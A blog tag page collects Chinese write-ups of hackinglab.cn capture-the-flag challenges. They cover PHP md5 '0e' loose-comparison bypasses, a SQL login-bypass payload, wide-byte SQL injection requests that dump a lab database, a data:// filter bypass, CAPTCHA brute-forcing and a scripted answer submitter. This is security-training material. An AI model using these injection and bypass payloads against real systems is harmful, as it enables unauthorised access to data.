Tag:hackinglab

Tag (hackinglab)'s result:

hackinglab.cn系列->解密关.md5真的能碰撞嘛?

写writeup前先整理下php的隐式类型转换利用方法 1.“==“ //适用于所有版本的php “==”会在比较的时候进行类型转换再比较。 转换规则: 如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行比较 例如: <?php $foo = 1 + “10.5”;                // $foo is float (11.5) $foo = 1 + “-1.3e3”;              // $foo is float (-1299) $foo = 1 + “bob-1.3e3”;           // $foo is integer (1) $foo = 1 + “bob3”;                // $foo is integer (1) $foo = 1 + “10 Small Pigs”;       // $foo is integer (11) $foo = 4 + “10.2 Little Piggies”; // $foo is float (14.2) $foo = “10.0 pigs ” + 1;          // $foo is float (11) $foo = “10.0 pigs ” + 1.0;        // $foo is float (11) ?> 0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。 再看看函数string md5 ( string $str [, bool $raw_output = false ] ) 如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。 为false和没有第二个参数时,为32位的16进制码 md5(‘240610708’) //0e462097431906509019562988736854.  =0x10【462097431906509019562988736854】次方 =0 md5(‘QNKCDZO’) //0e830400451993494058024219903391 转换后都成为了0的好多好多次方,都是0,所以 md5(‘240610708’)==md5(‘QNKCDZO’);   //True 即找到md5之后形成0e[0-9].*的hash串就可以绕过md5($password)==md5($rootadmin)这类的后台验证(前提是用户密码的md5也要是0e[0-9].*的hash串)。 ***** 类似的有: ”-”(0),”+”,”*”,”^” ”/1(0),”+0,”-0,”*0,”^0 除了+号,其他算术操作符号也会发生类型的类型转换,例如MOD,DIV,*,/,%,-, bit操作符&,|,^,<< ,>>也有同样的效果 payload: ‘-”# 可以绕过类似:$query = “select * from user where user=’”.$_POST[“user”].”‘and password=’”.md5($_POST[“password”]).”‘”;的后台验证(前提是user值转换后是数值0才行,像12admin转换后是数值12就不能绕过) 避免‘ or ”=’被防火墙禁。 ***************************************************** 2. strcmp漏洞 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 期望类型是字符串类型 但是在5.3之前的php中,显示了报错的警告信息后,返回0,也就是判定其相等了 利用方式:传递数组……

hackinglab.cn系列->注入关.邂逅

今天打到注入关5,卡了好久,网上搜了一下发现原来注入点不在http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/?id=1,而在一个图片链接http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg,并且是宽字节注入。 注意点: 1.直接在浏览器中注入回显是图片错误,要在burpsuite中注入。 2.在butpsuite中注入时要url编码,如空格要写成%20。 历程: 1.爆当前库名: GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg?id=%df%27%20union%20select%201,2,database(),4%23 HTTP/1.1 得mydbs 2.爆表名: GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg?id=%df%27%20union%20select%201,2,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=0x6d79646273%20limit%200,1),4%23 HTTP/1.1 得article 同理爆第二个表得pic(flag在这个表中) 3.获取pic表所有列名 GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg?id=%df%27%20union%20select%201,2,(select%20column_name%20from%20information_schema.columns%20where%20table_name=0x706963%20limit%200,1),4%23 HTTP/1.1 得id 同理爆出picname,data ,text 4.获取picname列的数据 GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg?id=%df%27%20union%20select%201,2,(select%20picname%20from%20pic%20limit%202,1),4%23 得 输入图片名,不是flag…… 5.访问图片 http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg getflag! =================================== 这题真是辛苦,竟然把注入点藏图片……  

hackinglab.cn系列->脚本关.微笑一下就能过关了

这题比较有趣,涉及data伪协议,php代码审计。 前置知识: 1.$_SERVER[‘QUERY_STRING’]:QUERY_STRING就是URL后接的参数,如www.baidu.com/?a=hi,a=hi就是QUERY_STRING。 2.data伪协议:data:[<MIME-type>][;charset=<encoding>][;base64],<data> 3.file_exists对data指向的内容判断为不存在 4.当key包含.或[]之类的符号,这些符号会被php转为_。 ************* php源码: <?php header(“Content-type: text/html; charset=utf-8”); if (isset($_GET[‘view-source’])) { show_source(__FILE__); exit(); } include(‘flag.php’); $smile = 1; if (!isset ($_GET[‘^_^’])) $smile = 0; if (preg_match (‘/\./’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/%/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/[0-9]/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/http/’, $_GET[‘^_^’]) ) $smile = 0; if (preg_match (‘/https/’, $_GET[‘^_^’]) ) $smile = 0; if (preg_match (‘/ftp/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/telnet/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/_/’, $_SERVER[‘QUERY_STRING’])) $smile = 0; if ($smile) { if (@file_exists ($_GET[‘^_^’])) $smile = 0; } if ($smile) { $smile = @file_get_contents ($_GET[‘^_^’]); if ($smile === “(●’◡’●)”) die($flag); } ?> 审计源码可得: 1.过滤了一些字符和协议. 2.QUREY_STRING过滤了_但是$_GET[‘^_^’]又含有_. 3.$_GET[‘^_^’]要不存在,但是可以file_get_contents读出是unicode的笑脸。 所以直接构造URL: lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php/?^.^=data://text/plain;charset=unicode,(●’◡’●) 得key: hkjasfhsa*&IUHKUH  

hackinglab.cn系列->脚本关.逗比验证码系列

逗比验证码第一期: 思路:经测算验证码输入一次后可以填写多次密码而不用重新填验证码,直接爆破 上神器:   逗比验证码第二期: 思路:验证码只能用一次了,但是可以先请求一次得到pwd error,然后验证码去掉(不填),再去请求,发现可以得到pwd error而不是vcode error,又到爆破   逗比验证码第三期: 这个感觉没有变动啊,还是和第二期一样就可以了,好像没session啥事……      

hackinglab.cn系列->脚本关.快速口算

思路:由于要在2秒内提交,那可以用脚本提交就ok了 步骤: 1.先get到算式 2.post结果 3.取得提交后的页面内容(有key) 脚本: import requests import re url = ‘http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php’ header = {‘Cookie’: ‘PHPSESSID=yourcookie’} req = requests.get(url, headers = header).content.decode(‘utf-8’) result = re.search(“(.*)=<input”, req) data = {‘v’: str(eval(result.group(1)))} req1 = requests.post(url, headers=header, data=data).content.decode(‘utf-8’) result1 = re.search(“<body>(.*)</body>”, req1) print(result1.group(1))